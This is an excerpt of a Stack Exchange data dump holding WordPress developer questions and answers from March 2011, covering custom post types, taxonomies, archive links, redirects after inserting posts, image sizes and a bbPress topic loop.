  <row Id="11529" PostTypeId="1" AcceptedAnswerId="11540" CreationDate="2011-03-08T22:27:15.663" Score="1" ViewCount="211" Body="&lt;p&gt;I'm working on a client site and need the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A custom post type called 'Agreements'&lt;/li&gt;&#xA;&lt;li&gt;On the Agreements edit panel, show a list of &quot;Offices&quot; checkboxes. Users can select multiple Offices per Agreement.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here's the rub. I want the admins to be able to add/edit Offices, which would each have a title, abbreviation and URL. The admins can add/edit Offices in a totally separate place, but I want these new Offices to show up in the Agreements edit panel automatically. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried a number of approaches, but I'm having trouble pulling the Offices list into the Agreements custom edit panel. Magic Fields comes close with its &quot;Related Types&quot; option, and I almost got WPAlchemy working but ultimately failed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on better / easier ways to do this? Thanks so much for any and all tips and advice!&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-03-09T06:44:51.700" Title="Custom post type / custom fields question" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;custom-field&gt;" AnswerCount="3" />
  <row Id="11530" PostTypeId="2" ParentId="11525" CreationDate="2011-03-08T22:30:10.790" Score="0" ViewCount="" Body="&lt;p&gt;You could try resetting the permalinks in Settings &gt; Permalinks. But if this is also happening in a separate wiki that has nothing to do with WordPress except share a database, it might not have anything to do with WordPress at all... Wish I could be of more help! A link to your site might help with more troubleshooting.&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-03-08T22:30:10.790" CommentCount="0" />
  <row Id="11531" PostTypeId="1" AcceptedAnswerId="11537" CreationDate="2011-03-08T22:49:05.963" Score="6" ViewCount="495" Body="&lt;p&gt;It seems like stupid question. But, I can't figure it out :(.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to display button at home that goes to custom post_type's archive URL (archive-{post_type}.php). How do I do that?&lt;/p&gt;&#xA;" OwnerUserId="127" LastActivityDate="2011-03-09T04:29:25.780" Title="Get custom post_type's archive URL" Tags="&lt;custom-post-types&gt;&lt;template&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" />
  <row Id="11532" PostTypeId="1" AcceptedAnswerId="11534" CreationDate="2011-03-08T22:49:40.053" Score="0" ViewCount="134" Body="&lt;p&gt;I pretty much got my answer in my last question, but not quite. I was supposed to add one last code to my source and it would have worked but the person helping hasn't replied now and I don't know what to do :S&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/11288/form-to-add-posts-to-custom-post-type&quot;&gt;Form to Add Posts to Custom Post Type&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So can anybody tell me where to put &lt;code&gt;wp_redirect(get_permalink($pid)); exit;&lt;/code&gt; in my code to have it redirect to the post after the post is added to the database?&lt;/p&gt;&#xA;" OwnerUserId="2415" LastActivityDate="2011-03-08T23:15:18.697" Title="Form to Add Posts to Custom Post Type (Again)" Tags="&lt;theme-development&gt;" AnswerCount="2" />
  <row Id="11533" PostTypeId="2" ParentId="11532" CreationDate="2011-03-08T22:52:13.650" Score="0" ViewCount="" Body="&lt;p&gt;You can add it on your processing section:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( 'POST' == $_SERVER['REQUEST_METHOD'] &amp;amp;&amp;amp; !empty( $_POST['action'] ) &amp;amp;&amp;amp;  $_POST['action'] == &quot;new_post&quot;) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$pid = wp_insert_post($new_post);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make it something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$pid = wp_insert_post($new_post);&#xA;wp_redirect(get_permalink($pid)); exit;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&#xA;Oops, after reading comment on that page, seems like you put it in wrong style. See my comment on that page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to change current code, you can use something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$pid = wp_insert_post($new_post);&#xA;?&amp;gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;&amp;lt;!--&#xA;window.location = &quot;&amp;lt;?php echo get_permalink($pid); ?&amp;gt;&quot;;&#xA;//--&amp;gt;&#xA;&amp;lt;/script&amp;gt;&amp;lt;?php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="127" LastEditorUserId="127" LastEditorDisplayName="" LastEditDate="2011-03-08T22:58:23.750" LastActivityDate="2011-03-08T22:58:23.750" />
  <row Id="11534" PostTypeId="2" ParentId="11532" CreationDate="2011-03-08T23:15:18.697" Score="0" ViewCount="" Body="&lt;p&gt;You need to put the form processing part of the code at the top of the page before anything else and &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_redirect(get_permalink($pid)); exit;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Right after &lt;/p&gt;&#xA;&#xA;&lt;p&gt;    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$pid = wp_insert_post($new_post); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-08T23:15:18.697" CommentCount="5" />
  <row Id="11535" PostTypeId="2" ParentId="11529" CreationDate="2011-03-08T23:25:49.323" Score="1" ViewCount="" Body="&lt;p&gt;I would add a  &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_taxonomy&quot; rel=&quot;nofollow&quot;&gt;register_taxonomy&lt;/a&gt; custom taxonomy &quot;offices&quot; &#xA;that would make your queries simpler and you will get a metabox with checkboxes just like you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to limit the creation of these taxonomy terms to admin only you can use any of the many role capabilities plugins out there.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-08T23:25:49.323" CommentCount="1" />
  <row Id="11536" PostTypeId="2" ParentId="11523" CreationDate="2011-03-08T23:28:17.490" Score="1" ViewCount="" Body="&lt;p&gt;There's no need to be using &lt;code&gt;_e()&lt;/code&gt; that's for text that's to be translated, you don't translate CSS, it only comes in one language...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With regard to your if/else'ing, try this..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$options = get_option('mytheme_theme_options');&#xA;if( isset( $options['linkcolour'] ) &amp;amp;&amp;amp; ( !empty( $options['linkcolour'] ) ) )   &#xA;    printf( &quot;a, a:link {color: #%s;}&quot;, $options['linkcolour'] );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's some PHP references for helping understand the PHP that was used above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.php.net/manual/en/control-structures.if.php&quot; rel=&quot;nofollow&quot;&gt;http://www.php.net/manual/en/control-structures.if.php&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://php.net/manual/en/function.isset.php&quot; rel=&quot;nofollow&quot;&gt;http://php.net/manual/en/function.isset.php&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://www.php.net/manual/en/function.empty.php&quot; rel=&quot;nofollow&quot;&gt;http://www.php.net/manual/en/function.empty.php&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://php.net/manual/en/function.printf.php&quot; rel=&quot;nofollow&quot;&gt;http://php.net/manual/en/function.printf.php&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-03-08T23:28:17.490" CommentCount="3" />
  <row Id="11537" PostTypeId="2" ParentId="11531" CreationDate="2011-03-08T23:42:39.210" Score="4" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Silent:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turns out there is a function in WordPress 3.1 that does exactly what you want and it is named &lt;code&gt;get_post_type_archive_link()&lt;/code&gt;; here's how you'd call it &lt;em&gt;(assuming a custom post type named &lt;code&gt;'product'&lt;/code&gt;):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_post_type_archive_link('product'); ?&amp;gt;&quot;&amp;gt;Products&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Below is my prior answer before I discovered that WordPress did indeed have a function built-in for this use case.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Prior Answer:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Unless I overlooked something in the core source code for WordPress 3.1 I think you are looking for a function like &lt;code&gt;get_archive_link()&lt;/code&gt; which you might call like this &lt;em&gt;(assuming a custom post type named &lt;code&gt;'product'&lt;/code&gt;):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_archive_link('product'); ?&amp;gt;&quot;&amp;gt;Products&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here's the source code which you can place into your theme's &lt;code&gt;function.php&lt;/code&gt; file or in a &lt;code&gt;.php&lt;/code&gt; file for a plugin you might be writing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!function_exists('get_archive_link')) {&#xA;  function get_archive_link( $post_type ) {&#xA;    global $wp_post_types;&#xA;    $archive_link = false;&#xA;    if (isset($wp_post_types[$post_type])) {&#xA;      $wp_post_type = $wp_post_types[$post_type];&#xA;      if ($wp_post_type-&amp;gt;publicly_queryable)&#xA;        if ($wp_post_type-&amp;gt;has_archive &amp;amp;&amp;amp; $wp_post_type-&amp;gt;has_archive!==true)&#xA;          $slug = $wp_post_type-&amp;gt;has_archive;&#xA;        else if (isset($wp_post_type-&amp;gt;rewrite['slug']))&#xA;          $slug = $wp_post_type-&amp;gt;rewrite['slug'];&#xA;        else&#xA;          $slug = $post_type;&#xA;      $archive_link = get_option( 'siteurl' ) . &quot;/{$slug}/&quot;;&#xA;    }&#xA;    return apply_filters( 'archive_link', $archive_link, $post_type );&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was actually working on this exact logic over the weekend although I'm not yet 100% sure the order of the logic is generically correct across all use-cases that WordPress might see although it will probably work for any specific site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is also a great thing to suggest be added to WordPress via &lt;strong&gt;&lt;a href=&quot;http://core.trac.wordpress.org&quot; rel=&quot;nofollow&quot;&gt;trac&lt;/a&gt;&lt;/strong&gt; which I think I will do later this evening.&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-03-09T04:29:25.780" LastActivityDate="2011-03-09T04:29:25.780" CommentCount="9" />
  <row Id="11538" PostTypeId="2" ParentId="11531" CreationDate="2011-03-08T23:44:12.827" Score="1" ViewCount="" Body="&lt;p&gt;when you register post type you can pass a string as slug with &quot;has_archive&quot; parameter and make sure you also set rewrite to either true or an array but not false&#xA;and then your CPT archive URL would be &lt;a href=&quot;http://www.YOURDOMAIN.com/has_archive_slug&quot; rel=&quot;nofollow&quot;&gt;http://www.YOURDOMAIN.com/has_archive_slug&lt;/a&gt; for example&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you set in your register_post_type for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'labels' =&amp;gt; $labels,&#xA;    'public' =&amp;gt; true,&#xA;    'publicly_queryable' =&amp;gt; true,&#xA;    'show_ui' =&amp;gt; true, &#xA;    'show_in_menu' =&amp;gt; true, &#xA;    'query_var' =&amp;gt; true,&#xA;    'rewrite' =&amp;gt; 'product',&#xA;    'capability_type' =&amp;gt; 'post',&#xA;    'has_archive' =&amp;gt; 'products', &#xA;    'hierarchical' =&amp;gt; false,&#xA;    'menu_position' =&amp;gt; null,&#xA;    'supports' =&amp;gt; array('title','editor','author','thumbnail','excerpt','comments')&#xA;  ); &#xA; register_post_type('product',$args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then your single url is: &#xA;&lt;a href=&quot;http://www.YOURDOMAIN.com/product/postName&quot; rel=&quot;nofollow&quot;&gt;http://www.YOURDOMAIN.com/product/postName&lt;/a&gt;&#xA;and your archive url is:&#xA;&lt;a href=&quot;http://www.YOURDOMAIN.com/products/&quot; rel=&quot;nofollow&quot;&gt;http://www.YOURDOMAIN.com/products/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-08T23:44:12.827" />
  <row Id="11539" PostTypeId="2" ParentId="11525" CreationDate="2011-03-09T00:00:54.577" Score="0" ViewCount="" Body="&lt;p&gt;Thanks all for your input. This may help someone else who has this problem. As for me, the problem has fixed itself (well, not exactly, but it is gone), so it must have been the DB. The wiki is still down, but it says that a table is marked as crashed now.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2011-03-09T00:00:54.577" CommentCount="1" />
  <row Id="11540" PostTypeId="2" ParentId="11529" CreationDate="2011-03-09T00:25:02.810" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@FriendlyWP:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd recommend you &lt;strong&gt;consider creating &lt;a href=&quot;http://wordpress.stackexchange.com/questions/128/tips-for-using-wordpress-as-a-cms/187#187&quot;&gt;a Custom Post Type&lt;/a&gt; of &lt;code&gt;'office'&lt;/code&gt;&lt;/strong&gt; and use one of the following custom post relationship plugins to maintain relationships between Agreements and your Offices:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.zigpress.com/wordpress/plugins/zigconnect/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;ZigConnect&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.billerickson.net/wordpress-post-type-linking/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Custom Post Types Relationships&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.billerickson.net/wordpress-post-type-linking/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Post Type Linking&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/posts-to-posts/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Posts 2 Posts&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Note:&lt;/strong&gt; Also, here's a link to &lt;a href=&quot;http://pinboard.in/u%3amikeschinkel/t%3awordpress+post+relationships+plugin&quot; rel=&quot;nofollow&quot;&gt;my own pinboard&lt;/a&gt; that I'll update in the future with any other &lt;a href=&quot;http://pinboard.in/u%3amikeschinkel/t%3awordpress+post+relationships+plugin&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WordPress Post Relationship Plugins&lt;/strong&gt;&lt;/a&gt; as I find them.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2011-03-09T00:25:02.810" CommentCount="3" />
  <row Id="11543" PostTypeId="2" ParentId="7626" CreationDate="2011-03-09T04:06:13.507" Score="0" ViewCount="" Body="&lt;p&gt;I believe some installs of 3.1 are not loading all of the required supporting JQuery UI 1.8.9 scripts. In particular, &quot;widgets.js&quot;. Hence, the &quot;widgets&quot; error.&lt;/p&gt;&#xA;" OwnerUserId="3810" LastActivityDate="2011-03-09T04:06:13.507" />
  <row Id="11544" PostTypeId="1" CreationDate="2011-03-09T05:20:44.823" Score="0" ViewCount="111" Body="&lt;p&gt;I followed this method of &lt;a href=&quot;http://johnford.is/programmatically-pull-attachments-from-wordpress-posts//&quot; rel=&quot;nofollow&quot;&gt;getting images from the media library&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// get the first image attached to the current post&#xA;function aldenta_get_post_image($size = 'thumbnail') {&#xA;    global $post;&#xA;&#xA;    $photos = get_children( array('post_parent' =&amp;gt; $post-&amp;gt;ID, 'post_status' =&amp;gt; 'inherit', 'post_type' =&amp;gt; 'attachment', 'post_mime_type' =&amp;gt; 'image', 'order' =&amp;gt; 'ASC', 'orderby' =&amp;gt; 'menu_order ID') );&#xA;&#xA;    if ($photos) {&#xA;        $photo = array_shift($photos);&#xA;        return wp_get_attachment_image($photo-&amp;gt;ID, $size);&#xA;    }&#xA;&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I want to paginate the results, how can I do that?&lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2011-03-09T05:20:44.823" Title="How can I paginate results from get_children" Tags="&lt;pagination&gt;&lt;media-library&gt;" CommentCount="3" />
  <row Id="11545" PostTypeId="2" ParentId="9982" CreationDate="2011-03-09T05:42:56.403" Score="0" ViewCount="" Body="&lt;p&gt;There's also the Google Custom Search plugin:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/google-custom-search/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/google-custom-search/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3290" LastActivityDate="2011-03-09T05:42:56.403" />
  <row Id="11546" PostTypeId="1" AcceptedAnswerId="11560" CreationDate="2011-03-09T06:12:46.520" Score="0" ViewCount="152" Body="&lt;p&gt;This is the topic loop of the &lt;a href=&quot;http://bbpress.org/&quot; rel=&quot;nofollow&quot;&gt;bbPress plugin&lt;/a&gt;. How can I make it stop when it reaches two posts? (Topics custom post types)?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;/**&#xA; * Topics Loop&#xA; *&#xA; * @package bbPress&#xA; * @subpackage Theme&#xA; */&#xA;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php if ( bbp_get_query_name() || bbp_has_topics() ) : ?&amp;gt;&#xA;&#xA;    &amp;lt;?php get_template_part( 'pagination', 'bbp_topics' ); ?&amp;gt;&#xA;&#xA;    &amp;lt;table class=&quot;bbp-topics&quot; id=&quot;bbp-forum-&amp;lt;?php bbp_topic_id(); ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;thead&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;th class=&quot;bbp-topic-title&quot;&amp;gt;&amp;lt;?php _e( 'Topic', 'bbpress' ); ?&amp;gt;&amp;lt;/th&amp;gt;&#xA;                &amp;lt;th class=&quot;bbp-topic-voice-count&quot;&amp;gt;&amp;lt;?php _e( 'Voices', 'bbpress' ); ?&amp;gt;&amp;lt;/th&amp;gt;&#xA;                &amp;lt;th class=&quot;bbp-topic-reply-count&quot;&amp;gt;&amp;lt;?php _e( 'Replies', 'bbpress' ); ?&amp;gt;&amp;lt;/th&amp;gt;&#xA;                &amp;lt;th class=&quot;bbp-topic-reply-count&quot;&amp;gt;&amp;lt;?php _e( 'Votes', 'bbpress' ); ?&amp;gt;&amp;lt;/th&amp;gt;&#xA;                &amp;lt;th class=&quot;bbp-topic-freshness&quot;&amp;gt;&amp;lt;?php _e( 'Freshness', 'bbpress' ); ?&amp;gt;&amp;lt;/th&amp;gt;&#xA;                &amp;lt;?php if ( ( bbp_is_user_home() &amp;amp;&amp;amp; ( bbp_is_favorites() || bbp_is_subscriptions() ) ) ) : ?&amp;gt;&amp;lt;th class=&quot;bbp-topic-action&quot;&amp;gt;&amp;lt;?php _e( 'Remove', 'bbpress' ); ?&amp;gt;&amp;lt;/th&amp;gt;&amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;/thead&amp;gt;&#xA;&#xA;        &amp;lt;tfoot&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&amp;lt;td colspan=&quot;&amp;lt;?php echo ( bbp_is_user_home() &amp;amp;&amp;amp; ( bbp_is_favorites() || bbp_is_subscriptions() ) ) ? '5' : '4'; ?&amp;gt;&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;        &amp;lt;/tfoot&amp;gt;&#xA;&#xA;        &amp;lt;tbody&amp;gt;&#xA;&#xA;            &amp;lt;?php while ( bbp_topics() ) : bbp_the_topic(); ?&amp;gt;&#xA;&#xA;                &amp;lt;tr id=&quot;topic-&amp;lt;?php bbp_topic_id(); ?&amp;gt;&quot; &amp;lt;?php bbp_topic_class(); ?&amp;gt;&amp;gt;&#xA;&#xA;                    &amp;lt;td class=&quot;bbp-topic-title&quot;&amp;gt;&#xA;                        &amp;lt;a href=&quot;&amp;lt;?php bbp_topic_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php bbp_topic_title(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php bbp_topic_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;                        &amp;lt;p class=&quot;bbp-topic-meta&quot;&amp;gt;&#xA;&#xA;                            &amp;lt;?php printf( __( 'Started by: %1$s', 'bbpress' ), bbp_get_topic_author_link( array( 'size' =&amp;gt; '14' ) ) ); ?&amp;gt;&#xA;&#xA;                            &amp;lt;?php if ( !bbp_is_forum() || ( bbp_get_topic_forum_id() != bbp_get_forum_id() ) ) printf( __( 'in: &amp;lt;a href=&quot;%1$s&quot;&amp;gt;%2$s&amp;lt;/a&amp;gt;', 'bbpress' ), bbp_get_forum_permalink( bbp_get_topic_forum_id() ), bbp_get_forum_title( bbp_get_topic_forum_id() ) ); ?&amp;gt;&#xA;&#xA;                        &amp;lt;/p&amp;gt;&#xA;&#xA;                    &amp;lt;/td&amp;gt;&#xA;&#xA;                    &amp;lt;td class=&quot;bbp-topic-voice-count&quot;&amp;gt;&amp;lt;?php bbp_topic_voice_count(); ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;&#xA;                    &amp;lt;td class=&quot;bbp-topic-reply-count&quot;&amp;gt;&amp;lt;?php bbp_topic_reply_count(); ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;&#xA;                    &amp;lt;td class=&quot;bbp-topic-reply-count&quot;&amp;gt;&amp;lt;?php DisplayVotes(get_the_ID()); ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;&#xA;                    &amp;lt;td class=&quot;bbp-topic-freshness&quot;&amp;gt;&#xA;&#xA;                        &amp;lt;?php bbp_topic_freshness_link(); ?&amp;gt;&#xA;&#xA;                        &amp;lt;p class=&quot;bbp-topic-meta&quot;&amp;gt;&#xA;&#xA;                            &amp;lt;?php bbp_author_link( array( 'post_id' =&amp;gt; bbp_get_topic_last_active_id(), 'size' =&amp;gt; 14 ) ); ?&amp;gt;&#xA;&#xA;                        &amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/td&amp;gt;&#xA;&#xA;                    &amp;lt;?php if ( bbp_is_user_home() ) : ?&amp;gt;&#xA;&#xA;                        &amp;lt;?php if ( bbp_is_favorites() ) : ?&amp;gt;&#xA;&#xA;                            &amp;lt;td class=&quot;bbp-topic-action&quot;&amp;gt;&#xA;&#xA;                                &amp;lt;?php bbp_user_favorites_link( array( 'mid' =&amp;gt; '+', 'post' =&amp;gt; '' ), array( 'pre' =&amp;gt; '', 'mid' =&amp;gt; '&amp;amp;times;', 'post' =&amp;gt; '' ) ); ?&amp;gt;&#xA;&#xA;                            &amp;lt;/td&amp;gt;&#xA;&#xA;                        &amp;lt;?php elseif ( bbp_is_subscriptions() ) : ?&amp;gt;&#xA;&#xA;                            &amp;lt;td class=&quot;bbp-topic-action&quot;&amp;gt;&#xA;&#xA;                                &amp;lt;?php bbp_user_subscribe_link( array( 'before' =&amp;gt; '', 'subscribe' =&amp;gt; '+', 'unsubscribe' =&amp;gt; '&amp;amp;times;' ) ); ?&amp;gt;&#xA;&#xA;                            &amp;lt;/td&amp;gt;&#xA;&#xA;                        &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                &amp;lt;/tr&amp;gt;&amp;lt;!-- #topic-&amp;lt;?php bbp_topic_id(); ?&amp;gt; --&amp;gt;&#xA;&#xA;            &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;        &amp;lt;/tbody&amp;gt;&#xA;&#xA;    &amp;lt;/table&amp;gt;&amp;lt;!-- #bbp-forum-&amp;lt;?php bbp_topic_id(); ?&amp;gt; --&amp;gt;&#xA;&#xA;    &amp;lt;?php get_template_part( 'pagination', 'bbp_topics' ); ?&amp;gt;&#xA;&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;topic-0&quot; class=&quot;post&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;entry-content&quot;&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;?php _e( 'Oh bother! No topics were found here! Perhaps searching will help.', 'bbpress' ); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;            &amp;lt;?php get_search_form(); ?&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-content --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- #post-0 --&amp;gt;&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-04-08T11:39:46.150" Title="How to make the following loop break/stop when it reaches 2 posts (custom post types called Topics)?" Tags="&lt;loop&gt;&lt;bbpress&gt;" AnswerCount="1" />
  <row Id="11547" PostTypeId="1" AcceptedAnswerId="11554" CreationDate="2011-03-09T06:33:33.503" Score="0" ViewCount="486" Body="&lt;p&gt;I have added an image size with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_image_size('gallery-thumb', 48, 48);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why when I do &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array_slice(wp_get_attachment_image_src($firstimg-&amp;gt;ID, 'gallery-thumb'))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get the link to the full sized image?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Somehow it appears that even when I do &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_get_attachment_image_src($photo-&amp;gt;ID, array(48,48))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get the thumbnail image (150, 150)&lt;/p&gt;&#xA;" OwnerUserId="3788" LastEditorUserId="3788" LastEditorDisplayName="" LastEditDate="2011-03-09T06:53:05.270" LastActivityDate="2011-07-04T09:42:07.797" Title="Why is wp_get_attachment_image_src not working with my custom size (add_image_size)" Tags="&lt;images&gt;&lt;media-library&gt;" AnswerCount="1" />
  <row Id="11548" PostTypeId="2" ParentId="11529" CreationDate="2011-03-09T06:44:51.700" Score="1" ViewCount="" Body="&lt;p&gt;I suggest creating a custom taxonomy &lt;code&gt;office&lt;/code&gt; for &lt;code&gt;agreements&lt;/code&gt; post type. For including meta boxes in editing page of &lt;code&gt;agreements&lt;/code&gt; post type, you can use &lt;a href=&quot;http://www.deluxeblogtips.com/2011/03/meta-box-script-update-v30.html&quot; rel=&quot;nofollow&quot;&gt;this script&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-03-09T06:44:51.700" />
  <row Id="11549" PostTypeId="1" CreationDate="2011-03-09T06:56:07.670" Score="0" ViewCount="171" Body="&lt;p&gt;Wordpress can be used as CMS. So, I think I can switch from Drupal to Wordpress.&#xA;I'm looking for a book module alternative for creating structured document.&lt;br&gt;&#xA;If you don't know about Book module of Drupal, follow this link: &lt;a href=&quot;http://drupal.org/documentation/modules/book&quot; rel=&quot;nofollow&quot;&gt;http://drupal.org/documentation/modules/book&lt;/a&gt;&lt;br&gt;&#xA;It simply put all page links in navigational block maintaining the hierarchical sequence. Plus, it displays next &amp;amp; previous pages in sequence at bottom with their respective links. The book module documentation at previous link is also an example of Book module page.&lt;/p&gt;&#xA;" OwnerUserId="3411" LastActivityDate="2011-04-08T08:39:46.513" Title="Is there any Wordpress alternative to Book module of Drupal?" Tags="&lt;posts&gt;&lt;page&gt;&lt;pages&gt;&lt;structuring&gt;&lt;structure&gt;" AnswerCount="1" />
